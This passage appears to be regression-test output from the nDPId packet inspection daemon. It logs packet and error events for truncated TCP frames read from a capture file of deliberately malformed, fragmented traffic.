-00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":8362,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvkAGQ\/MKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8363,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605886} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":8363,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwEAGQ\/EKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8364,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605899} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8364,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwkAGQ+8KAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8365,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605912} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8365,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxEAGQ+0KAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8366,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605925} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8366,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxkAGQ+sKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8367,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605937} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8367,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhyEAGQ+kKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8368,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605950} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8368,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhykAGQ+cKAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8369,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605963} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8369,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzEAGQ+UKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8370,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605977} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8370,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzkAGQ+MKAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8371,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032605990} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8371,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0EAGQ+EKAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8372,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032606003} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8372,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0kAGQ98KAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8373,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032606017} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8373,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1EAGQ90KAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8374,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032606030} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8374,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1kAGQ9sKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8375,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032606043} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8375,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2EAGQ9kKAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8376,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032606057} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8376,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2kAGQ9cKAAACCoAAAkhHRkQyKiZERkdISksmXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8377,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032606069} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8377,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3EAGQ9UKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8378,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032606084} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8378,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3kAGQ9MKAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8379,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032606097} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8379,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4EAGQ9EKAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8380,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032606110} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8380,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4kAGQ88KAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8381,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032606123} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8381,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5EAGQ80KAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8382,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032606137} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8382,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5kAGQ8sKAAACCoAAAiQjcnNkbHVoZ2tmZHNia24="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8383,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032606150} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8383,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6EAGQ8kKAAACCoAAAnZjLy50Z2Z0Zz9HUj9HUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8384,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032606163} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8384,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6kAGQ8cKAAACCoAAAnNSPzc0ODM5NikoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8385,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032606175} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8385,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7EAGQ8UKAAACCoAAAiNAIUAjJCVeJiooKSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8386,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032606220} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8386,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7kAGQ8MKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8387,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032606233} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8387,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8EAGQ8EKAAACCoAAAiMmKihLSUpIR0ZEMiomREY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8388,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032606246} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8388,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8kAGQ78KAAACCoAAAkdISksmXiUkIyNFVFIlWV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8389,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032606260} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8389,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9EAGQ70KAAACCoAAAlUmSSpPUHsiOmhkZmxrZGE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8390,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032606272} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8390,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9kAGQ7sKAAACCoAAAj5MPE1OQkhHRkRFVyNAJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8391,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032606287} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8391,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+EAGQ7kKAAACCoAAAl5IQkdWCjQyMTQ2MzE5ODI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8392,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032606300} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8392,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+kAGQ7cKAAACCoAAAjA1MSkoKiZeJSQjQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8393,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032606312} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":8393,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/EAGQ7UKAAACCoAAAiYqKComXiUkI3JzZGx1aGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8394,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032606325} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":8394,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/kAGQ7MKAAACCoAAAmtmZHNia252Yy8udGdmdGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8395,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032606338} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8395,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAEAGQ7EKAAACCoAAAj9HUj9HUj9zUj83NDgzOTY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8396,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032606351} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8396,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAkAGQ68KAAACCoAAAikoKiZeJSQjQCFAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8397,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032606364} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8397,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBEAGQ60KAAACCoAAAiooKSgqJl4lJCNAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8398,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032606377} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8398,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBkAGQ6sKAAACCoAAAiooKiZeJSQjJiooS0lKSEc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8399,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032606389} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8399,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCEAGQ6kKAAACCoAAAkZEMiomREZHSEpLJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8400,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032606402} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8400,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCkAGQ6cKAAACCoAAAiNFVFIlWV5VJkkqT1B7Ijo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8401,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032606415} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8401,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDEAGQ6UKAAACCoAAAmhkZmxrZGE+TDxNTkJIR0Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8402,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032606427} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8402,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDkAGQ6MKAAACCoAAAkRFVyNAJCVeSEJHVgo0MjE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8403,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032606441} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8403,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEEAGQ6EKAAACCoAAAjQ2MzE5ODIwNTEpKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8404,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032606454} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8404,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEkAGQ58KAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8405,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032606467} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8405,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244032602706,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFEAGQ50KAAACCoAAAnJzZGx1aGdrZmRzYmtudmM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8406,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244032606480} 